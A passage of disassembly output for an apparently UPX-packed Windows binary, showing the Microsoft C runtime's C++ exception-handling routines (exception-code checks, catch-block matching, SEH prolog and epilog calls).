		add	ecx, eax
		mov	esi, [ecx]
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], 1
		cmp	dword ptr [ecx+4], 0
		jz	short loc_406C32
		mov	[ebx+8], esi
		push	103h
		push	ebx
		mov	ecx, [edi+8]
		push	dword ptr [ecx+eax+4]
		call	sub_407810


loc_406C32:				; CODE XREF: sub_406BB6+65j
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_406C52
; ---------------------------------------------------------------------------


loc_406C38:				; DATA XREF: UPX1:0040DFC8o
		push	[ebp+ms_exc.exc_ptr]
		call	sub_406B72
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_406C42:				; DATA XREF: UPX1:0040DFCCo
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_20]


loc_406C52:				; CODE XREF: sub_406BB6+80j
		mov	[ebp+var_1C], esi
		jmp	short loc_406BED
; ---------------------------------------------------------------------------


loc_406C57:				; CODE XREF: sub_406BB6+3Aj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_406C7C
		cmp	esi, [ebp+arg_C]
		jz	short loc_406C6D
		call	sub_4077BF


loc_406C6D:				; CODE XREF: sub_406BB6+B0j
		mov	[ebx+8], esi
		call	__SEH_epilog4
		retn
sub_406BB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C76	proc near		; DATA XREF: UPX1:0040DFC0o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_406C76	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_406C7C	proc near		; CODE XREF: sub_406BB6+A8p
		call	sub_404927
		cmp	dword ptr [eax+90h], 0
		jle	short locret_406C96
		call	sub_404927
		add	eax, 90h
		dec	dword ptr [eax]

locret_406C96:				; CODE XREF: sub_406C7C+Cj
		retn
sub_406C7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C97	proc near		; CODE XREF: sub_406E17+93p
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_406CD9
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_406CD9
		mov	ecx, [eax+14h]
		cmp	ecx, 19930520h
		jz	short loc_406CC2
		cmp	ecx, 19930521h
		jz	short loc_406CC2
		cmp	ecx, 19930522h
		jnz	short loc_406CD9


loc_406CC2:				; CODE XREF: sub_406C97+19j
					; sub_406C97+21j
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_406CD9
		call	sub_404927
		xor	ecx, ecx
		inc	ecx
		mov	[eax+20Ch], ecx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_406CD9:				; CODE XREF: sub_406C97+8j
					; sub_406C97+Ej ...
		xor	eax, eax
		retn
sub_406C97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CDC	proc near		; CODE XREF: sub_4058D0+112p
					; sub_406F3D+6Ep ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_40DFD0
		call	__SEH_prolog4
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short loc_406D19
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_406D19
		mov	eax, [ecx+1Ch]
		test	eax, eax
		jz	short loc_406D19
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_406D19
		and	[ebp+ms_exc.disabled], 0
		push	eax
		push	dword ptr [ecx+18h]
		call	sub_4041C7
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh


loc_406D19:				; CODE XREF: sub_406CDC+11j
					; sub_406CDC+19j ...
		call	__SEH_epilog4
		retn
sub_406CDC	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_407773

; =============== S U B	R O U T	I N E =======================================



sub_406D30	proc near		; CODE XREF: sub_406FB3+86p
					; sub_406FB3+113p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [ecx]
		push	esi
		mov	esi, [esp+4+arg_0]
		add	eax, esi
		cmp	dword ptr [ecx+4], 0
		jl	short loc_406D53
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	esi, [edx+esi]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_406D53:				; CODE XREF: sub_406D30+11j
		pop	esi
		retn
sub_406D30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D55	proc near		; CODE XREF: sub_407321+111p
					; sub_407321+2AEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		test	edi, edi
		jnz	short loc_406D69
		call	sub_4077BF
		jmp	sub_407773
; ---------------------------------------------------------------------------


loc_406D69:				; CODE XREF: sub_406D55+8j
		and	[ebp+var_8], 0
		cmp	dword ptr [edi], 0
		mov	[ebp+var_1], 0
		jle	short loc_406DC9
		push	ebx
		push	esi


loc_406D78:				; CODE XREF: sub_406D55+70j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+1Ch]
		mov	eax, [eax+0Ch]
		mov	ebx, [eax]
		test	ebx, ebx
		lea	esi, [eax+4]
		jle	short loc_406DBD
		mov	eax, [ebp+var_8]
		shl	eax, 4
		mov	[ebp+var_C], eax


loc_406D93:				; CODE XREF: sub_406D55+60j
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+1Ch]
		mov	eax, [esi]
		push	eax
		mov	eax, [edi+4]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_406B16
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406DB9
		dec	ebx
		add	esi, 4
		test	ebx, ebx
		jg	short loc_406D93
		jmp	short loc_406DBD
; ---------------------------------------------------------------------------


loc_406DB9:				; CODE XREF: sub_406D55+58j
		mov	[ebp+var_1], 1


loc_406DBD:				; CODE XREF: sub_406D55+33j
					; sub_406D55+62j
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [edi]
		jl	short loc_406D78
		pop	esi
		pop	ebx


loc_406DC9:				; CODE XREF: sub_406D55+1Fj
		mov	al, [ebp+var_1]
		leave
		retn
sub_406D55	endp


; =============== S U B	R O U T	I N E =======================================



sub_406DCE	proc near		; CODE XREF: sub_407321+30Ap
		push	4
		mov	eax, offset loc_40B037
		call	sub_404591
		call	sub_404927
		cmp	dword ptr [eax+94h], 0
		jz	short loc_406DED
		call	sub_4077BF


loc_406DED:				; CODE XREF: sub_406DCE+18j
		and	dword ptr [ebp-4], 0
		call	sub_4077AC
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	sub_407773
sub_406DCE	endp

; ---------------------------------------------------------------------------
		call	sub_404927
		mov	ecx, [ebp+8]
		push	0
		push	0
		mov	[eax+94h], ecx
		call	sub_40414D
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E17	proc near		; CODE XREF: sub_4071C3+57p

var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 00406F32 SIZE 00000005 BYTES

		push	2Ch
		push	offset dword_40E048
		call	__SEH_prolog4
		mov	ebx, ecx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], ebx
		and	[ebp+var_34], 0
		mov	eax, [edi-4]
		mov	[ebp+var_24], eax
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40446B
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		call	sub_404927
		mov	eax, [eax+88h]
		mov	[ebp+var_2C], eax
		call	sub_404927
		mov	eax, [eax+8Ch]
		mov	[ebp+var_30], eax
		call	sub_404927
		mov	[eax+88h], esi
		call	sub_404927
		mov	ecx, [ebp+arg_8]
		mov	[eax+8Ch], ecx
		and	[ebp+ms_exc.disabled], 0
		xor	eax, eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	[ebp+ms_exc.disabled], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_C]
		push	edi
		call	sub_404500
		add	esp, 14h
		mov	[ebp+var_1C], eax
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_406F16
; ---------------------------------------------------------------------------


loc_406EA7:				; DATA XREF: UPX1:0040E068o
		mov	eax, [ebp+ms_exc.exc_ptr]
		call	sub_406C97
		retn
; ---------------------------------------------------------------------------


loc_406EB0:				; DATA XREF: UPX1:0040E06Co
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_404927
		and	dword ptr [eax+20Ch], 0
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_4]
		cmp	dword ptr [esi+4], 80h
		jg	short loc_406ED4
		movsx	ecx, byte ptr [edi+8]
		jmp	short loc_406ED7
; ---------------------------------------------------------------------------


loc_406ED4:				; CODE XREF: sub_406E17+B5j
		mov	ecx, [edi+8]


loc_406ED7:				; CODE XREF: sub_406E17+BBj
		mov	ebx, [esi+10h]
		and	[ebp+var_20], 0


loc_406EDE:				; CODE XREF: sub_406E17+11Ej
		mov	eax, [ebp+var_20]
		cmp	eax, [esi+0Ch]
		jnb	short loc_406EFE
		imul	eax, 14h
		add	eax, ebx
		mov	edx, [eax+4]
		cmp	ecx, edx
		jle	short loc_406F32
		cmp	ecx, [eax+8]
		jg	short loc_406F32
		mov	eax, [esi+8]
		mov	ecx, [eax+edx*8+8]


loc_406EFE:				; CODE XREF: sub_406E17+CDj
		push	ecx
		push	esi
		push	0
		push	edi
		call	sub_406BB6
		add	esp, 10h
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]


loc_406F16:				; CODE XREF: sub_406E17+8Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	[ebp+arg_8], 0
		call	sub_406F3D
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_406E17	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406E17


loc_406F32:				; CODE XREF: sub_406E17+D9j
					; sub_406E17+DEj
		inc	[ebp+var_20]
		jmp	short loc_406EDE
; END OF FUNCTION CHUNK	FOR sub_406E17

; =============== S U B	R O U T	I N E =======================================



sub_406F37	proc near		; DATA XREF: UPX1:0040E060o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_406F37	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_406F3D	proc near		; CODE XREF: sub_406E17+10Dp
		mov	eax, [ebp-24h]
		mov	[edi-4], eax
		push	dword ptr [ebp-28h]
		call	sub_4044B4
		pop	ecx
		call	sub_404927
		mov	ecx, [ebp-2Ch]
		mov	[eax+88h], ecx
		call	sub_404927
		mov	ecx, [ebp-30h]
		mov	[eax+8Ch], ecx
		cmp	dword ptr [esi], 0E06D7363h
		jnz	short locret_406FB2
		cmp	dword ptr [esi+10h], 3
		jnz	short locret_406FB2
		mov	eax, [esi+14h]
		cmp	eax, 19930520h
		jz	short loc_406F8E
		cmp	eax, 19930521h
		jz	short loc_406F8E
		cmp	eax, 19930522h
		jnz	short locret_406FB2


loc_406F8E:				; CODE XREF: sub_406F3D+41j
					; sub_406F3D+48j
		cmp	dword ptr [ebp-34h], 0
		jnz	short locret_406FB2
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_406FB2
		push	dword ptr [esi+18h]
		call	sub_404493
		pop	ecx
		test	eax, eax
		jz	short locret_406FB2
		push	dword ptr [ebp+10h]
		push	esi
		call	sub_406CDC
		pop	ecx
		pop	ecx

locret_406FB2:				; CODE XREF: sub_406F3D+31j
					; sub_406F3D+37j ...
		retn
sub_406F3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406FB3	proc near		; CODE XREF: sub_407132+36p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset dword_40E070
		call	__SEH_prolog4
		xor	edx, edx
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		cmp	ecx, edx
		jz	loc_40712A
		cmp	[ecx+8], dl
		jz	loc_40712A
		mov	ecx, [eax+8]
		cmp	ecx, edx
		jnz	short loc_406FEE
		test	dword ptr [eax], 80000000h
		jz	loc_40712A


loc_406FEE:				; CODE XREF: sub_406FB3+2Dj
		mov	eax, [eax]
		mov	esi, [ebp+arg_4]
		test	eax, eax
		js	short loc_406FFB
		lea	esi, [ecx+esi+0Ch]


loc_406FFB:				; CODE XREF: sub_406FB3+42j
		mov	[ebp+ms_exc.disabled], edx
		xor	ebx, ebx
		inc	ebx
		push	ebx
		test	al, 8
		jz	short loc_407047
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi+18h]
		call	sub_409D33
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40710D
		push	ebx
		push	esi
		call	sub_409D33
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40710D
		mov	eax, [edi+18h]
		mov	[esi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_407038:				; CODE XREF: sub_406FB3+E7j
		push	eax
		call	sub_406D30
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jmp	loc_407112
; ---------------------------------------------------------------------------


loc_407047:				; CODE XREF: sub_406FB3+51j
		mov	edi, [ebp+arg_C]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		test	[edi], bl
		jz	short loc_40709C
		call	sub_409D33
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40710D
		push	ebx
		push	esi
		call	sub_409D33
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40710D
		push	dword ptr [edi+14h]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	esi
		call	sub_405A70
		add	esp, 0Ch
		cmp	dword ptr [edi+14h], 4
		jnz	loc_407112
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_407112
		add	edi, 8
		push	edi
		jmp	short loc_407038
; ---------------------------------------------------------------------------


loc_40709C:				; CODE XREF: sub_406FB3+9Fj
		cmp	[edi+18h], edx
		jnz	short loc_4070D9
		call	sub_409D33
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40710D
		push	ebx
		push	esi
		call	sub_409D33
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40710D
		push	dword ptr [edi+14h]
		add	edi, 8
		push	edi
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		call	sub_406D30
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_405A70
		add	esp, 0Ch
		jmp	short loc_407112
; ---------------------------------------------------------------------------


loc_4070D9:				; CODE XREF: sub_406FB3+ECj
		call	sub_409D33
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40710D
		push	ebx
		push	esi
		call	sub_409D33
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40710D
		push	dword ptr [edi+18h]
		call	sub_409D33
		pop	ecx
		test	eax, eax
		jz	short loc_40710D
		test	byte ptr [edi],	4
		push	0
		pop	eax
		setnz	al
		inc	eax
		mov	[ebp+var_1C], eax
		jmp	short loc_407112
; ---------------------------------------------------------------------------


loc_40710D:				; CODE XREF: sub_406FB3+62j
					; sub_406FB3+73j ...
		call	sub_4077BF


loc_407112:				; CODE XREF: sub_406FB3+8Fj
					; sub_406FB3+D7j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		jmp	short loc_40712C
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		jmp	sub_407773
; ---------------------------------------------------------------------------


loc_40712A:				; CODE XREF: sub_406FB3+19j
					; sub_406FB3+22j ...
		xor	eax, eax


loc_40712C:				; CODE XREF: sub_406FB3+169j
		call	__SEH_epilog4
		retn
sub_406FB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407132	proc near		; CODE XREF: sub_4071C3+11p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	8
		push	offset dword_40E090
		call	__SEH_prolog4
		mov	eax, [ebp+arg_8]
		test	dword ptr [eax], 80000000h
		jz	short loc_40714E
		mov	ebx, [ebp+arg_4]
		jmp	short loc_407158
; ---------------------------------------------------------------------------


loc_40714E:				; CODE XREF: sub_407132+15j
		mov	ecx, [eax+8]
		mov	edx, [ebp+arg_4]
		lea	ebx, [ecx+edx+0Ch]


loc_407158:				; CODE XREF: sub_407132+1Aj
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_406FB3
		add	esp, 10h
		dec	eax
		jz	short loc_407192
		dec	eax
		jnz	short loc_4071AA
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+18h]
		call	sub_406D30
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	ebx
		call	sub_4041C7
		jmp	short loc_4071AA
; ---------------------------------------------------------------------------


loc_407192:				; CODE XREF: sub_407132+3Fj
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+18h]
		call	sub_406D30
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	ebx
		call	sub_4041C7


loc_4071AA:				; CODE XREF: sub_407132+42j
					; sub_407132+5Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	__SEH_epilog4
		retn
sub_407132	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_407773

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071C3	proc near		; CODE XREF: sub_40722F+D4p
					; sub_407321+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_10], 0
		jz	short loc_4071DC
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		call	sub_407132
		add	esp, 10h


loc_4071DC:				; CODE XREF: sub_4071C3+7j
		cmp	[ebp+arg_18], 0
		push	[ebp+arg_0]
		jnz	short loc_4071E8
		push	esi
		jmp	short loc_4071EB
; ---------------------------------------------------------------------------


loc_4071E8:				; CODE XREF: sub_4071C3+20j
		push	[ebp+arg_18]


loc_4071EB:				; CODE XREF: sub_4071C3+23j
		call	sub_4041CE
		push	dword ptr [edi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_406BB6
		mov	eax, [edi+4]
		push	100h
		push	[ebp+arg_14]
		inc	eax
		push	[ebp+arg_C]
		mov	[esi+8], eax
		push	[ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		push	esi
		push	[ebp+arg_0]
		call	sub_406E17
		add	esp, 28h
		test	eax, eax
		jz	short loc_40722D
		push	esi
		push	eax
		call	sub_404197


loc_40722D:				; CODE XREF: sub_4071C3+61j
		pop	ebp
		retn
sub_4071C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40722F	proc near		; CODE XREF: sub_407321+336p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 80000003h
		jz	loc_40731E
		push	edi
		call	sub_404927
		cmp	dword ptr [eax+80h], 0
		jz	short loc_407292
		call	sub_404927
		lea	edi, [eax+80h]
		call	sub_404702
		cmp	[edi], eax
		jz	short loc_407292
		cmp	dword ptr [esi], 0E0434F4Dh
		jz	short loc_407292
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_404286
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40731D


loc_407292:				; CODE XREF: sub_40722F+22j
					; sub_40722F+36j ...
		mov	edi, [ebp+arg_10]
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_4072A0
		call	sub_4077BF


loc_4072A0:				; CODE XREF: sub_40722F+6Aj
		mov	esi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_4043F8
		mov	edi, eax
		mov	eax, [ebp+var_4]
		add	esp, 14h
		cmp	eax, [ebp+var_8]
		jnb	short loc_40731D
		push	ebx


loc_4072C3:				; CODE XREF: sub_40722F+EBj
		cmp	esi, [edi]
		jl	short loc_40730E
		cmp	esi, [edi+4]
		jg	short loc_40730E
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_4072E4
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_40730E


loc_4072E4:				; CODE XREF: sub_40722F+ADj
		lea	ebx, [eax-10h]
		test	byte ptr [ebx],	40h
		jnz	short loc_40730E
		push	[ebp+arg_1C]
		mov	esi, [ebp+arg_4]
		push	[ebp+arg_18]
		push	0
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_4071C3
		mov	esi, [ebp+arg_14]
		add	esp, 1Ch


loc_40730E:				; CODE XREF: sub_40722F+96j
					; sub_40722F+9Bj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 14h
		cmp	eax, [ebp+var_8]
		jb	short loc_4072C3
		pop	ebx


loc_40731D:				; CODE XREF: sub_40722F+5Dj
					; sub_40722F+91j
		pop	edi


loc_40731E:				; CODE XREF: sub_40722F+Fj
		pop	esi
		leave
		retn
sub_40722F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407321	proc near		; CODE XREF: sub_40768F+D4p

var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_10]
		mov	eax, [ebx+4]
		cmp	eax, 80h
		push	esi
		push	edi
		mov	[ebp+var_1], 0
		jg	short loc_407344
		movsx	ecx, byte ptr [ecx+8]
		jmp	short loc_407347
; ---------------------------------------------------------------------------


loc_407344:				; CODE XREF: sub_407321+1Bj
		mov	ecx, [ecx+8]


loc_407347:				; CODE XREF: sub_407321+21j
		cmp	ecx, 0FFFFFFFFh
		mov	[ebp+var_8], ecx
		jl	short loc_407353
		cmp	ecx, eax
		jl	short loc_407358


loc_407353:				; CODE XREF: sub_407321+2Cj
		call	sub_4077BF


loc_407358:				; CODE XREF: sub_407321+30j
		mov	esi, [ebp+arg_0]
		mov	edi, 0E06D7363h
		cmp	[esi], edi
		jnz	loc_407633
		cmp	dword ptr [esi+10h], 3
		mov	ebx, 19930520h
		jnz	loc_4074A0
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_407390
		cmp	eax, 19930521h
		jz	short loc_407390
		cmp	eax, 19930522h
		jnz	loc_4074A0


loc_407390:				; CODE XREF: sub_407321+5Bj
					; sub_407321+62j
		cmp	dword ptr [esi+1Ch], 0
		jnz	loc_4074A0
		call	sub_404927
		cmp	dword ptr [eax+88h], 0
		jz	loc_407672
		call	sub_404927
		mov	esi, [eax+88h]
		mov	[ebp+arg_0], esi
		call	sub_404927
		mov	eax, [eax+8Ch]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		call	sub_409D33
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4073DB
		call	sub_4077BF


loc_4073DB:				; CODE XREF: sub_407321+B3j
		cmp	[esi], edi
		jnz	short loc_407405
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_407405
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_4073FA
		cmp	eax, 19930521h
		jz	short loc_4073FA
		cmp	eax, 19930522h
		jnz	short loc_407405


loc_4073FA:				; CODE XREF: sub_407321+C9j
					; sub_407321+D0j
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_407405
		call	sub_4077BF


loc_407405:				; CODE XREF: sub_407321+BCj
					; sub_407321+C2j ...
		call	sub_404927
		cmp	dword ptr [eax+94h], 0
		jz	loc_4074A0
		call	sub_404927
		mov	edi, [eax+94h]
		call	sub_404927
		push	[ebp+arg_0]
		xor	esi, esi
		mov	[eax+94h], esi
		call	sub_406D55
		test	al, al
		pop	ecx
		jnz	short loc_407498
		xor	ebx, ebx
		cmp	[edi], ebx
		jle	short loc_40745F


loc_407442:				; CODE XREF: sub_407321+13Cj
		mov	eax, [edi+4]
		mov	ecx, [ebx+eax+4]
		push	offset off_40F380
		call	sub_4027B0
		test	al, al
		jnz	short loc_407464
		inc	esi
		add	ebx, 10h
		cmp	esi, [edi]
		jl	short loc_407442


loc_40745F:				; CODE XREF: sub_407321+11Fj
					; sub_407321+31Cj
		jmp	sub_407773
; ---------------------------------------------------------------------------


loc_407464:				; CODE XREF: sub_407321+134j
		push	1
		push	[ebp+arg_0]
		call	sub_406CDC
		pop	ecx
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_2C]
		mov	[ebp+arg_0], offset dword_40C86C
		call	sub_4023F1
		push	offset dword_40E0AC
		lea	eax, [ebp+var_2C]
		push	eax
		mov	[ebp+var_2C], offset off_40C864
		call	sub_40414D


loc_407498:				; CODE XREF: sub_407321+119j
		mov	esi, [ebp+arg_0]
		mov	edi, 0E06D7363h


loc_4074A0:				; CODE XREF: sub_407321+50j
					; sub_407321+69j ...
		cmp	[esi], edi
		jnz	loc_407630
		cmp	dword ptr [esi+10h], 3
		jnz	loc_407630
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_4074CB
		cmp	eax, 19930521h
		jz	short loc_4074CB
		cmp	eax, 19930522h
		jnz	loc_407630


loc_4074CB:				; CODE XREF: sub_407321+196j
					; sub_407321+19Dj
		mov	edi, [ebp+arg_10]
		cmp	dword ptr [edi+0Ch], 0
		jbe	loc_407597
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_8]
		push	[ebp+arg_18]
		push	edi
		call	sub_4043F8
		add	esp, 14h
		mov	edi, eax


loc_4074F1:				; CODE XREF: sub_407321+26Ej
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_1C]
		jnb	loc_407594
		mov	eax, [ebp+var_8]
		cmp	[edi], eax
		jg	loc_407589
		cmp	eax, [edi+4]
		jg	short loc_407589
		mov	eax, [edi+10h]
		mov	[ebp+var_C], eax
		mov	eax, [edi+0Ch]
		test	eax, eax
		mov	[ebp+var_18], eax
		jle	short loc_407589


loc_40751D:				; CODE XREF: sub_407321+23Cj
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	ebx, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_14], eax
		jle	short loc_407552


loc_40752F:				; CODE XREF: sub_407321+22Fj
		push	dword ptr [esi+1Ch]
		mov	eax, [ebx]
		push	eax
		push	[ebp+var_C]
		mov	[ebp+var_20], eax
		call	sub_406B16
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407561
		dec	[ebp+var_14]
		add	ebx, 4
		cmp	[ebp+var_14], eax
		jg	short loc_40752F


loc_407552:				; CODE XREF: sub_407321+20Cj
		dec	[ebp+var_18]
		add	[ebp+var_C], 10h
		cmp	[ebp+var_18], 0
		jg	short loc_40751D
		jmp	short loc_407589
